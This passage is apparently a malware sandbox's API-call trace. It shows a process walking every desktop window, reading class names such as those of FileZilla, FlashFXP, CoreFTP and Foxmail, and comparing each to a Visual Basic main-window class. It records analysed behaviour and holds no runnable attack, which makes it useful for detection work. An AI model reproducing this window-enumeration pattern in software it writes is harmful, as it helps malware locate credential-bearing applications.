(lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0082.560] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0082.560] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0082.560] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.560] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.560] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0082.560] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0082.560] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0082.560] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0082.560] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0082.560] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0082.560] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.560] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.560] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0082.560] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0082.560] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0082.560] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0082.560] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0082.560] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0082.560] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.560] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.560] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0082.560] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0082.560] GetClassNameA (in: hWnd=0x101cc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flashfxp_") returned 9 [0082.560] lstrcmpA (lpString1="flashfxp_", lpString2="ThunderRT6Main") returned -1 [0082.560] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0082.561] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0082.561] GetClassNameA (in: hWnd=0x101ce, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.561] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.561] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d8 [0082.561] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0082.561] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="filezillaapp") returned 12 [0082.561] lstrcmpA (lpString1="filezillaapp", lpString2="ThunderRT6Main") returned -1 [0082.561] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0082.561] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0082.561] GetClassNameA (in: hWnd=0x101ca, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.561] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.561] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c8 [0082.561] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0082.561] GetClassNameA (in: hWnd=0x101c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="far_window") returned 10 [0082.561] lstrcmpA (lpString1="far_window", lpString2="ThunderRT6Main") returned -1 [0082.561] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0082.561] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0082.561] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.561] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.561] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b8 [0082.561] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0082.561] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="coreftp_window") returned 14 [0082.561] lstrcmpA (lpString1="coreftp_window", lpString2="ThunderRT6Main") returned -1 [0082.561] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0082.562] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0082.562] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.562] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.562] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0082.562] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0082.562] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0082.562] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0082.562] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0082.562] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0082.562] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.562] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.562] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0082.562] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0082.562] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0082.562] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0082.562] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0082.562] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0082.562] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.562] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.562] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0082.562] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0082.562] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0082.562] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0082.562] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0082.562] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0082.563] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.563] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.563] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0082.563] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0082.563] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0082.563] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0082.563] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0082.563] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0082.563] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.563] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.563] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0082.563] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0082.563] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0082.563] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0082.563] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0082.563] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0082.563] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.563] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.563] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0082.563] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0082.563] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0082.563] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0082.563] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0082.563] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0082.563] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.563] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.563] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0082.564] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0082.564] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0082.564] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0082.564] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0082.564] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0082.564] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.564] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.564] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0082.564] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0082.564] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0082.564] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0082.564] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0082.564] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0082.564] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.564] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.564] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0082.564] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0082.564] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0082.564] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0082.564] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0082.564] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0082.564] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.564] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.564] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0082.564] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0082.565] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0082.565] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0082.565] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0082.565] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0082.565] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.565] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.565] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0082.565] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0082.565] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0082.565] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0082.565] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0082.565] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0082.565] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.565] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.565] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0082.565] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0082.565] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0082.565] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0082.565] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0082.565] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0082.565] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.565] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.565] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0082.565] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0082.565] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0082.566] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0082.566] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0082.566] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0082.566] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.566] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.566] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0082.566] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0082.566] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0082.566] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0082.566] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0082.566] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0082.566] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.566] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.566] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0082.566] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0082.566] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0082.566] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0082.566] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0082.566] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0082.566] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.566] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.566] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0082.566] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0082.566] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0082.566] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0082.566] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0082.567] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0082.567] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.567] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.567] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0082.567] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0082.567] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0082.567] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0082.567] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0082.567] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0082.567] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.567] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.567] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0082.567] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0082.567] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0082.567] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0082.567] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0082.567] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0082.567] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.567] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.567] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0082.567] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0082.567] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0082.567] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0082.567] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0082.567] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0082.567] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.567] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.568] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0082.568] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0082.568] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0082.568] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0082.568] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0082.568] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0082.568] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.568] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.568] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0082.568] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0082.568] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0082.568] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0082.568] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0082.568] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0082.568] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.568] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.568] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0082.568] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0082.568] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0082.568] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0082.568] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0082.568] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0082.568] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.568] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.568] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0082.568] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0082.568] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0082.569] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0082.569] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0082.569] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0082.569] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.569] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0082.569] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0082.569] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0082.569] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0082.569] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0082.569] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0082.569] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.569] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0082.569] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0082.569] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0082.569] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0082.569] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0082.569] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0082.569] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0082.569] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0082.569] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0082.569] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0082.569] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0082.569] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0082.569] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0082.570] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0082.570] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0082.570] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0082.570] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0082.570] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0082.570] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0082.570] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0082.570] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0082.570] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0082.570] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 